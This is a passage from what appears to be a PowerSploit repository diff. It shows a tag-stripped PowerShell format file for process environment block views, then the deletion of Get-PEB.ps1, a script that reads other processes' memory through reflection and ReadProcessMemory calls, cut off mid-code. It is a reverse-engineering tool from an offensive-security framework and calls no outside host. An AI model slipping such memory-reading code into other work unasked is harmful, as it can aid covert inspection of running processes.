- - "0x$($_.LoaderLock.ToString("X$([IntPtr]::Size * 2)"))" - - - OSMajorVersion - - - OSMinorVersion - - - OSBuildNumber - - - OSCSDVersion - - - OSPlatformId - - - ImageSubsystem - - - ImageSubsystemMajorVersion - - - ImageSubsystemMinorVersion - - - - "0x$($_.ActiveProcessAffinityMask.ToString("X$([IntPtr]::Size * 2)"))" - - - - ($_.GdiHandleBuffer | % { "0x$($_.ToString('X8'))" }) -join ',' - - - - "0x$($_.PostProcessInitRoutine.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.TlsExpansionBitmap.ToString("X$([IntPtr]::Size * 2)"))" - - - - ($_.TlsExpansionBitmapBits | % { "0x$($_.ToString('X8'))" }) -join ',' - - - SessionId - 0x{0:X8} - - - AppCompatFlags - 0x{0:X16} - - - AppCompatFlagsUser - 0x{0:X16} - - - - "0x$($_.pShimData.ToString("X$([IntPtr]::Size * 2)"))" - - - AppCompatInfo - 0x{0:X8} - - - CSDVersion - - - - "0x$($_.ActivationContextData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.ProcessAssemblyStorageMap.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.SystemDefaultActivationContextData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.SystemAssemblyStorageMap.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.MinimumStackCommit.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.FlsCallback.ToString("X$([IntPtr]::Size * 2)"))" - - - FlsListHead - - - - "0x$($_.FlsBitmap.ToString("X$([IntPtr]::Size * 2)"))" - - - - ($_.FlsBitmapBits | % { "0x$($_.ToString('X8'))" }) -join ',' - - - FlsHighIndex - 0x{0:X8} - - - - "0x$($_.WerRegistrationData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.WerShipAssertPtr.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.pUnused.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.pImageHeaderHash.ToString("X$([IntPtr]::Size * 2)"))" - - - HeapTracingEnabled - - - CritSecTracingEnabled - - - LibLoaderTracingEnabled - - - CsrServerReadOnlySharedMemoryBase - 0x{0:X16} - - - - - - - - ProcessEnvironmentBlock_Server2003View - - PEB.Server2003 - - - - - - - ProcessName - - - ProcessId - - - - if($_.InheritedAddressSpace -eq 0){$False}else{$True} - - - - if($_.ReadImageFileExecOptions -eq 0){$False}else{$True} - - - - if($_.BeingDebugged -eq 0){$False}else{$True} - - - ImageUsesLargePages - - - - "0x$($_.Mutant.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.ImageBaseAddress.ToString("X$([IntPtr]::Size * 2)"))" - - - Ldr - - - InLoadOrderModuleList - - - InMemoryOrderModuleList - - - InInitializationOrderModuleList - - - ProcessParameters - - - - "0x$($_.SubSystemData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.ProcessHeap.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.FastPebLock.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.AtlThunkSListPtr.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.SparePtr2.ToString("X$([IntPtr]::Size * 2)"))" - - - EnvironmentUpdateCount - 0x{0:X8} - - - - "0x$($_.KernelCallbackTable.ToString("X$([IntPtr]::Size * 2)"))" - - - SystemReserved - 0x{0:X8} - - - AtlThunkSListPtr32 - 0x{0:X8} - - - - "0x$($_.ApiSetMap.ToString("X$([IntPtr]::Size * 2)"))" - - - TlsExpansionCounter - 0x{0:X8} - - - - "0x$($_.TlsBitmap.ToString("X$([IntPtr]::Size * 2)"))" - - - - ($_.TlsBitmapBits | % { "0x$($_.ToString('X8'))" }) -join ',' - - - - "0x$($_.ReadOnlySharedMemoryBase.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.ReadOnlySharedMemoryHeap.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.ReadOnlyStaticServerData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.AnsiCodePageData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.OemCodePageData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.UnicodeCaseTableData.ToString("X$([IntPtr]::Size * 2)"))" - - - NumberOfProcessors - 0x{0:X8} - - - NtGlobalFlag - 0x{0:X8} - - - CriticalSectionTimeout - 0x{0:X16} - - - - "0x$($_.HeapSegmentReserve.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.HeapSegmentCommit.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.HeapDeCommitTotalFreeThreshold.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.HeapDeCommitFreeBlockThreshold.ToString("X$([IntPtr]::Size * 2)"))" - - - NumberOfHeaps - 0x{0:X8} - - - MaximumNumberOfHeaps - 0x{0:X8} - - - - "0x$($_.ProcessHeaps.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.GdiSharedHandleTable.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.ProcessStarterHelper.ToString("X$([IntPtr]::Size * 2)"))" - - - GdiDCAttributeList - 0x{0:X8} - - - - "0x$($_.LoaderLock.ToString("X$([IntPtr]::Size * 2)"))" - - - OSMajorVersion - - - OSMinorVersion - - - OSBuildNumber - - - OSCSDVersion - - - OSPlatformId - - - ImageSubsystem - - - ImageSubsystemMajorVersion - - - ImageSubsystemMinorVersion - - - - "0x$($_.ActiveProcessAffinityMask.ToString("X$([IntPtr]::Size * 2)"))" - - - - ($_.GdiHandleBuffer | % { "0x$($_.ToString('X8'))" }) -join ',' - - - - "0x$($_.PostProcessInitRoutine.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.TlsExpansionBitmap.ToString("X$([IntPtr]::Size * 2)"))" - - - - ($_.TlsExpansionBitmapBits | % { "0x$($_.ToString('X8'))" }) -join ',' - - - SessionId - 0x{0:X8} - - - AppCompatFlags - 0x{0:X16} - - - AppCompatFlagsUser - 0x{0:X16} - - - - "0x$($_.pShimData.ToString("X$([IntPtr]::Size * 2)"))" - - - AppCompatInfo - 0x{0:X8} - - - CSDVersion - - - - "0x$($_.ActivationContextData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.ProcessAssemblyStorageMap.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.SystemDefaultActivationContextData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.SystemAssemblyStorageMap.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.MinimumStackCommit.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.FlsCallback.ToString("X$([IntPtr]::Size * 2)"))" - - - FlsListHead - - - - "0x$($_.FlsBitmap.ToString("X$([IntPtr]::Size * 2)"))" - - - - ($_.FlsBitmapBits | % { "0x$($_.ToString('X8'))" }) -join ',' - - - FlsHighIndex - 0x{0:X8} - - - - - - - - ProcessEnvironmentBlock_XPView - - PEB.XP - - - - - - - ProcessName - - - ProcessId - - - - if($_.InheritedAddressSpace -eq 0){$False}else{$True} - - - - if($_.ReadImageFileExecOptions -eq 0){$False}else{$True} - - - - if($_.BeingDebugged -eq 0){$False}else{$True} - - - - "0x$($_.Mutant.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.ImageBaseAddress.ToString("X$([IntPtr]::Size * 2)"))" - - - Ldr - - - InLoadOrderModuleList - - - InMemoryOrderModuleList - - - InInitializationOrderModuleList - - - ProcessParameters - - - - "0x$($_.SubSystemData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.ProcessHeap.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.FastPebLock.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.FastPebLockRoutine.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.FastPebUnlockRoutine.ToString("X$([IntPtr]::Size * 2)"))" - - - EnvironmentUpdateCount - 0x{0:X8} - - - - "0x$($_.KernelCallbackTable.ToString("X$([IntPtr]::Size * 2)"))" - - - SystemReserved - 0x{0:X8} - - - AtlThunkSListPtr32 - 0x{0:X8} - - - - "0x$($_.ApiSetMap.ToString("X$([IntPtr]::Size * 2)"))" - - - TlsExpansionCounter - 0x{0:X8} - - - - "0x$($_.TlsBitmap.ToString("X$([IntPtr]::Size * 2)"))" - - - - ($_.TlsBitmapBits | % { "0x$($_.ToString('X8'))" }) -join ',' - - - - "0x$($_.ReadOnlySharedMemoryBase.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.ReadOnlySharedMemoryHeap.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.ReadOnlyStaticServerData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.AnsiCodePageData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.OemCodePageData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.UnicodeCaseTableData.ToString("X$([IntPtr]::Size * 2)"))" - - - NumberOfProcessors - 0x{0:X8} - - - NtGlobalFlag - 0x{0:X8} - - - CriticalSectionTimeout - 0x{0:X16} - - - - "0x$($_.HeapSegmentReserve.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.HeapSegmentCommit.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.HeapDeCommitTotalFreeThreshold.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.HeapDeCommitFreeBlockThreshold.ToString("X$([IntPtr]::Size * 2)"))" - - - NumberOfHeaps - 0x{0:X8} - - - MaximumNumberOfHeaps - 0x{0:X8} - - - - "0x$($_.ProcessHeaps.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.GdiSharedHandleTable.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.ProcessStarterHelper.ToString("X$([IntPtr]::Size * 2)"))" - - - GdiDCAttributeList - 0x{0:X8} - - - - "0x$($_.LoaderLock.ToString("X$([IntPtr]::Size * 2)"))" - - - OSMajorVersion - - - OSMinorVersion - - - OSBuildNumber - - - OSCSDVersion - - - OSPlatformId - - - ImageSubsystem - - - ImageSubsystemMajorVersion - - - ImageSubsystemMinorVersion - - - - "0x$($_.ActiveProcessAffinityMask.ToString("X$([IntPtr]::Size * 2)"))" - - - - ($_.GdiHandleBuffer | % { "0x$($_.ToString('X8'))" }) -join ',' - - - - "0x$($_.PostProcessInitRoutine.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.TlsExpansionBitmap.ToString("X$([IntPtr]::Size * 2)"))" - - - - ($_.TlsExpansionBitmapBits | % { "0x$($_.ToString('X8'))" }) -join ',' - - - SessionId - 0x{0:X8} - - - AppCompatFlags - 0x{0:X16} - - - AppCompatFlagsUser - 0x{0:X16} - - - - "0x$($_.pShimData.ToString("X$([IntPtr]::Size * 2)"))" - - - AppCompatInfo - 0x{0:X8} - - - CSDVersion - - - - "0x$($_.ActivationContextData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.ProcessAssemblyStorageMap.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.SystemDefaultActivationContextData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.SystemAssemblyStorageMap.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.MinimumStackCommit.ToString("X$([IntPtr]::Size * 2)"))" - - - - - - - - ProcessEnvironmentBlock_ModuleEntryView - - PEB.ModuleEntry - - - - - - - InLoadOrderModuleList - - - InMemoryOrderModuleList - - - InInitializationOrderModuleList - - - - "0x$($_.BaseAddress.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.EntryPoint.ToString("X$([IntPtr]::Size * 2)"))" - - - SizeOfImage - 0x{0:X8} - - - FullDllName - - - BaseDllName - - - PackagedBinary - - - ImageDll - - - LoadNotificationsSent - - - TelemetryEntryProcessed - - - ProcessStaticImport - - - InLegacyLists - - - InIndexes - - - ShimDll - - - InExceptionTable - - - LoadInProgress - - - EntryProcessed - - - DontCallForThreads - - - ProcessAttachCalled - - - ProcessAttachFailed - - - CorDeferredValidate - - - CorImage - - - DontRelocate - - - CorILOnly - - - Redirected - - - CompatDatabaseProcessed - - - ObsoleteLoadCount - 0x{0:X4} - - - TlsIndex - 0x{0:X4} - - - HashLinks - - - TimeDateStamp - - - - "0x$($_.EntryPointActivationContext.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.PatchInformation.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.DdagNode.ToString("X$([IntPtr]::Size * 2)"))" - - - NodeModuleLink - - - - "0x$($_.SnapContext.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.ParentDllBase.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.SwitchBackContext.ToString("X$([IntPtr]::Size * 2)"))" - - - BaseAddressIndexNode - - - MappingInfoIndexNode - - - - "0x$($_.OriginalBase.ToString("X$([IntPtr]::Size * 2)"))" - - - LoadTime - 0x{0:X16} - - - BaseNameHashValue - 0x{0:X8} - - - LoadReason - - - - - - - - ProcessParameters - - PEB.ProcessParameters - - - - - - - MaximumLength - 0x{0:X8} - - - Length - 0x{0:X8} - - - Flags - 0x{0:X8} - - - DebugFlags - 0x{0:X8} - - - - "0x$($_.ConsoleHandle.ToString("X$([IntPtr]::Size * 2)"))" - - - ConsoleFlags - 0x{0:X8} - - - - "0x$($_.StandardInput.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.StandardOutput.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.StandardError.ToString("X$([IntPtr]::Size * 2)"))" - - - CurrentDirectory - - - DllPath - - - ImagePathName - - - CommandLine - - - - "0x$($_.Environment.ToString("X$([IntPtr]::Size * 2)"))" - - - StartingX - 0x{0:X8} - - - StartingY - 0x{0:X8} - - - CountX - 0x{0:X8} - - - CountY - 0x{0:X8} - - - CountCharsX - 0x{0:X8} - - - CountCharsY - 0x{0:X8} - - - FillAttribute - 0x{0:X8} - - - WindowFlags - 0x{0:X8} - - - ShowWindowFlags - 0x{0:X8} - - - WindowTitle - - - DesktopInfo - - - ShellInfo - - - RuntimeData - - - - - - - - diff --git a/ReverseEngineering/Get-PEB.ps1 b/ReverseEngineering/Get-PEB.ps1 deleted file mode 100644 index 7ec5089d..00000000 --- a/ReverseEngineering/Get-PEB.ps1 +++ /dev/null @@ -1,1092 +0,0 @@ -function Get-PEB -{ -<# -.SYNOPSIS - -Returns the process environment block (PEB) of a process. - -PowerSploit Function: Get-PEB -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: Get-PEB.format.ps1xml - -.DESCRIPTION - -Get-PEB returns a fully parsed process environment block (PEB) of any process. Because the PEB and its underlying structure differ according to OS version and architecture, Get-PEB builds the PEB dynamically at runtime. Get-PEB is designed to work in Windows XP - Windows 8 32/64-bit. It will also return the PEB of Wow64 processes. - -.PARAMETER Id - -The process ID of the process whose PEB will be retrieved. - -.EXAMPLE - -C:\PS> $AllPEBs = Get-Process | Get-PEB - -Description ------------ -Get the PEB of every process. Note: To get the PEBs for all processes, run this command from an elevated instance of PowerShell - -.EXAMPLE - -C:\PS> $NotepadPEB = Get-PEB -Id (ps notepad) -C:\PS> $NotepadPEB.InInitializationOrderModuleList - -Description ------------ -Display all loaded modules of the notepad process in initialization order. - -.NOTES - -Some processes will not issue a handle unless you are running Get-PEB from an elevated instance of PowerShell. - -.LINK - -http://www.exploit-monday.com/2013/01/Get-PEB.html -http://msdn.microsoft.com/en-us/library/windows/desktop/aa813706(v=vs.85).aspx -#> - - [CmdletBinding()] Param ( - [Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)] - [Alias('PID')] - [UInt16[]] - $Id - ) - - BEGIN - { - Set-StrictMode -Version 2 - - $mscorlib = [AppDomain]::CurrentDomain.GetAssemblies() | ? { $_.FullName.Split(',')[0].ToLower() -eq 'mscorlib' } - $Win32Native = $mscorlib.GetTypes() | ? { $_.FullName -eq 'Microsoft.Win32.Win32Native' } - - if ($Win32Native -eq $null) - { - throw 'Unable to get a reference to type: Microsoft.Win32.Win32Native' - } - - function Local:Get-NTStatusException - { - [CmdletBinding()] Param ( - [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)] - [Int32[]] - $ErrorCode - ) - - BEGIN - { - $LsaNtStatusToWinError = $Win32Native.GetMethod('LsaNtStatusToWinError', [Reflection.BindingFlags] 'NonPublic, Static') - $GetMessage = $Win32Native.GetMethod('GetMessage', [Reflection.BindingFlags] 'NonPublic, Static') - } - PROCESS - { - foreach ($Error in $ErrorCode) - { - $WinErrorCode = $LsaNtStatusToWinError.Invoke($null, @($ErrorCode)) - - Write-Output $GetMessage.Invoke($null, @($WinErrorCode)) - } - } - END{} - } - - # The return value from Get-WindowsNTDDIVersion will be compared against these values to determine the structure of the PEB. - $NTDDI_VISTA = 0x06000000 - $NTDDI_WS03 = 0x05020000 - $NTDDI_WINXP = 0x05010000 - - function Local:Get-WindowsNTDDIVersion - { - # Return Windows version information as NTDDI_VERSION as defined in SdkDdkVer.h - # This will aid in determining version specific PEB fields to return - # Could this be accomplished with `Get-WmiObject Win32_OperatingSystem`? Yes, but I prefer not rely upon services that might be turned off. - $OSVersionInfoEx = $Win32Native.GetNestedTypes('NonPublic') | ? { $_.FullName -eq 'Microsoft.Win32.Win32Native+OSVERSIONINFOEX' } - - if ($OSVersionInfoEx -eq $null) - { - Write-Error "Unable to get a reference to kernel32!OSVersionInfoEx." - return - } - - $MajorVersion = $OSVersionInfoEx.GetField('MajorVersion', [Reflection.BindingFlags] 'NonPublic, Instance') - $MinorVersion = $OSVersionInfoEx.GetField('MinorVersion', [Reflection.BindingFlags] 'NonPublic, Instance') - $ServicePackMajor = $OSVersionInfoEx.GetField('ServicePackMajor', [Reflection.BindingFlags] 'NonPublic, Instance') - $ServicePackMinor = $OSVersionInfoEx.GetField('ServicePackMinor', [Reflection.BindingFlags] 'NonPublic, Instance') - $ProductTypeField = $OSVersionInfoEx.GetField('ProductType', [Reflection.BindingFlags] 'NonPublic, Instance') - - $OSVersionInfoContructor = $OSVersionInfoEx.GetConstructors()[0] - $OSVersionEx = $OSVersionInfoContructor.Invoke($null) - # This version is present in .NET 2 - $GetVersionEx = $Win32Native.GetMethod('GetVersionEx', [Reflection.BindingFlags] 'NonPublic, Static', $null, @($OSVersionInfoEx), $null) - if ($GetVersionEx -eq $null) - { - # This version is present in .NET 4 - $GetVersionEx = [Environment].GetMethod('GetVersionEx', [Reflection.BindingFlags] 'NonPublic, Static', $null, @($OSVersionInfoEx), $null) - } - if ($GetVersionEx -eq $null) - { - Write-Error "Unable to get a reference to GetVersionEx method." - return - } - $Success = $GetVersionEx.Invoke($null, @($OSVersionEx)) - - if (-not $Success) - { - Write-Error ([ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()) - return - } - - # Build the version string - $Version = [Int32] "0x$($MajorVersion.GetValue($OSVersionEx).ToString('D2'))$($MinorVersion.GetValue($OSVersionEx).ToString('D2'))$($ServicePackMajor.GetValue($OSVersionEx).ToString('D2'))$($ServicePackMinor.GetValue($OSVersionEx).ToString('D2'))" - $ProductType = $ProductTypeField.GetValue($OSVersionEx) - - if ($Version -lt $NTDDI_WINXP) - { - throw 'Could not determine the correct Windows version! Windows ME, Windows 3.1, and OS/2 Warp are not supported. :P' - } - - Write-Output $Version - } - - $NTDDI_VERSION = Get-WindowsNTDDIVersion - - try { $NativeMethods = @([AppDomain]::CurrentDomain.GetAssemblies() | % { $_.GetTypes() } | ? { $_.FullName -eq 'Microsoft.Win32.NativeMethods' })[0] } catch {} - $NtProcessBasicInfo = $NativeMethods.GetNestedType('NtProcessBasicInfo', [Reflection.BindingFlags]::NonPublic) - $NtProcessBasicInfoConstructor = $NtProcessBasicInfo.GetConstructors()[0] - $ProcessBasicInfo = $NtProcessBasicInfoConstructor.Invoke($null) - - $GetProcessHandle = [Diagnostics.Process].GetMethod('GetProcessHandle', [Reflection.BindingFlags] 'NonPublic, Instance', $null, @([Int]), $null) - $PROCESS_QUERY_INFORMATION = 0x400 - $PROCESS_VM_READ = 0x0010 - - # Sanity check to make sure that we can proceed. Without proper references, a call to NtQueryInformationProcess will crash PowerShell. - if ($ProcessBasicInfo -eq $null) - { - Write-Error "Unable to get a reference to ProcessBasicInfo." - return - } - - $MEMORY_BASIC_INFORMATION = $Win32Native.GetNestedType('MEMORY_BASIC_INFORMATION', [Reflection.BindingFlags] 'NonPublic') - - if ($MEMORY_BASIC_INFORMATION -eq $null) - { - Write-Error 'Unable to get a reference to the MEMORY_BASIC_INFORMATION structure.' - return - } - - $OSArchitecture = [Int](Get-WmiObject Win32_OperatingSystem).OSArchitecture.Split('-')[0] - - try { $NativeUtils = [NativeUtils] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined - { - $DynAssembly = New-Object Reflection.AssemblyName('MemHacker') - $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('MemHacker', $False) - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('NativeUtils', $Attributes, [ValueType]) - $TypeBuilder.DefinePInvokeMethod('ReadProcessMemory', 'kernel32.dll', [Reflection.MethodAttributes] 'Public, Static', [Reflection.CallingConventions]::Standard, [Bool], @([IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, 'Auto') | Out-Null - $TypeBuilder.DefinePInvokeMethod('VirtualQueryEx', 'kernel32.dll', [Reflection.MethodAttributes] 'Public, Static', [Reflection.CallingConventions]::Standard, [UInt32], @([IntPtr], [IntPtr], $MEMORY_BASIC_INFORMATION.MakeByRefType(), [UInt32]), [Runtime.InteropServices.CallingConvention]::Winapi, 'Auto') | Out-Null - if ($OSArchitecture -eq 64) - { - $TypeBuilder.DefinePInvokeMethod('IsWow64Process', 'kernel32.dll', [Reflection.MethodAttributes] 'Public, Static', [Reflection.CallingConventions]::Standard, [Bool], @([IntPtr], [Bool].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, 'Auto') | Out-Null - } - $TypeBuilder.DefinePInvokeMethod('NtQueryInformationProcess', 'ntdll.dll', [Reflection.MethodAttributes] 'Public, Static', [Reflection.CallingConventions]::Standard, [UInt32], @([IntPtr], [Int], $NtProcessBasicInfo, [Int], [IntPtr]), [Runtime.InteropServices.CallingConvention]::Winapi, 'Auto') | Out-Null - $NativeUtils = $TypeBuilder.CreateType() - } - - #region Determine OS/Process/PowerShell bitness - - # Get PowerShell's bit-ness accordingly to [IntPtr]::Size. The bitness of PowerShell is used as the basis for determining - # the bitness of the processes you're interested in. For example, calling Get-Process from 32-bit PowerShell will only - # return 32-bit processes. Get-Process on 64-bit PowerShell however will return 64-bit and Wow64 processes. - if ([IntPtr]::Size -eq 4) - { - $PowerShellArchitecture = 32 - } - else - { - $PowerShellArchitecture = 64 - } - #endregion - - #region Build PEB structure dynamically - try - { - $PEBStruct = [_PEB] - $UnicodeStringStruct = [_UNICODE_STRING] - $ProcessParametersStruct = [_RTL_USER_PROCESS_PARAMETERS] - $ListEntryStruct = [_LIST_ENTRY] - $LdrDataStruct = [_PEB_LDR_DATA] - $BalancedNodeStruct = [_RTL_BALANCED_NODE] - $LoadReasonEnum = [_LDR_DLL_LOAD_REASON] - $LdrModuleStruct = [_LDR_DATA_TABLE_ENTRY] - } - catch - { - # Note: Once this strcuture is built, it cannot be rebuilt or unloaded without restarting PowerShell - $DynAssembly = New-Object Reflection.AssemblyName('PEBTools') - $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('PEBModule', $False) - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('_PEB', $Attributes, [ValueType]) - - $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] - $ConstructorValue = [Runtime.InteropServices.UnmanagedType]::ByValArray - $FieldArray = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) - - # Build type for _UNICODE_STRING - $UnicodeTypeBuilder = $ModuleBuilder.DefineType('_UNICODE_STRING', $Attributes, [ValueType]) - $UnicodeTypeBuilder.DefineField('Length', [UInt16], 'Public') | Out-Null - $UnicodeTypeBuilder.DefineField('MaximumLength', [UInt16], 'Public') | Out-Null - $UnicodeTypeBuilder.DefineField('Buffer', [IntPtr], 'Public') | Out-Null - $UnicodeStringStruct = $UnicodeTypeBuilder.CreateType() - - # Build type for _RTL_USER_PROCESS_PARAMETERS - $ProcParamTypeBuilder = $ModuleBuilder.DefineType('_RTL_USER_PROCESS_PARAMETERS', $Attributes, [ValueType], 4) - $ProcParamTypeBuilder.DefineField('MaximumLength', [UInt32], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('Length', [UInt32], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('Flags', [UInt32], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('DebugFlags', [UInt32], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('ConsoleHandle', [IntPtr], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('ConsoleFlags', [UInt32], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('StandardInput', [IntPtr], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('StandardOutput', [IntPtr], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('StandardError', [IntPtr], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('CurrentDirectory', $UnicodeStringStruct, 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('CurrentDirectoryHandle', [IntPtr], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('DllPath', $UnicodeStringStruct, 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('ImagePathName', $UnicodeStringStruct, 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('CommandLine', $UnicodeStringStruct, 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('Environment', [IntPtr], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('StartingX', [UInt32], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('StartingY', [UInt32], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('CountX', [UInt32], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('CountY', [UInt32], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('CountCharsX', [UInt32], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('CountCharsY', [UInt32], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('FillAttribute', [UInt32], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('WindowFlags', [UInt32], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('ShowWindowFlags', [UInt32], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('WindowTitle', $UnicodeStringStruct, 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('DesktopInfo', $UnicodeStringStruct, 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('ShellInfo', $UnicodeStringStruct, 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('RuntimeData', $UnicodeStringStruct, 'Public') | Out-Null - $ProcessParametersStruct = $ProcParamTypeBuilder.CreateType() - - # Build type for _LIST_ENTRY - $ListEntryTypeBuilder = $ModuleBuilder.DefineType('_LIST_ENTRY', $Attributes, [System.ValueType]) - $ListEntryTypeBuilder.DefineField('Flink', [IntPtr], 'Public') | Out-Null - $ListEntryTypeBuilder.DefineField('Blink', [IntPtr], 'Public') | Out-Null - $ListEntryStruct = $ListEntryTypeBuilder.CreateType() - - # Build type for _PEB_LDR_DATA - $PEBLdrDataTypeBuilder = $ModuleBuilder.DefineType('_PEB_LDR_DATA', $Attributes, [System.ValueType]) - $PEBLdrDataTypeBuilder.DefineField('Length', [UInt32], 'Public') | Out-Null - $InitializedField = $PEBLdrDataTypeBuilder.DefineField('Initialized', [Byte[]], 'Public') - $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) - $InitializedField.SetCustomAttribute($AttribBuilder) - $PEBLdrDataTypeBuilder.DefineField('SsHandle', [IntPtr], 'Public') | Out-Null - $PEBLdrDataTypeBuilder.DefineField('InLoadOrderModuleList', [_LIST_ENTRY], 'Public') | Out-Null - $PEBLdrDataTypeBuilder.DefineField('InMemoryOrderModuleList', [_LIST_ENTRY], 'Public') | Out-Null - $PEBLdrDataTypeBuilder.DefineField('InInitializationOrderModuleList', [_LIST_ENTRY], 'Public') | Out-Null - $PEBLdrDataTypeBuilder.DefineField('EntryInProgress', [IntPtr], 'Public') | Out-Null - $ShutdownInProgressField = $PEBLdrDataTypeBuilder.DefineField('ShutdownInProgress', [Byte[]], 'Public') - $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 2)) - $ShutdownInProgressField.SetCustomAttribute($AttribBuilder) - $PEBLdrDataTypeBuilder.DefineField('ShutdownThreadId', 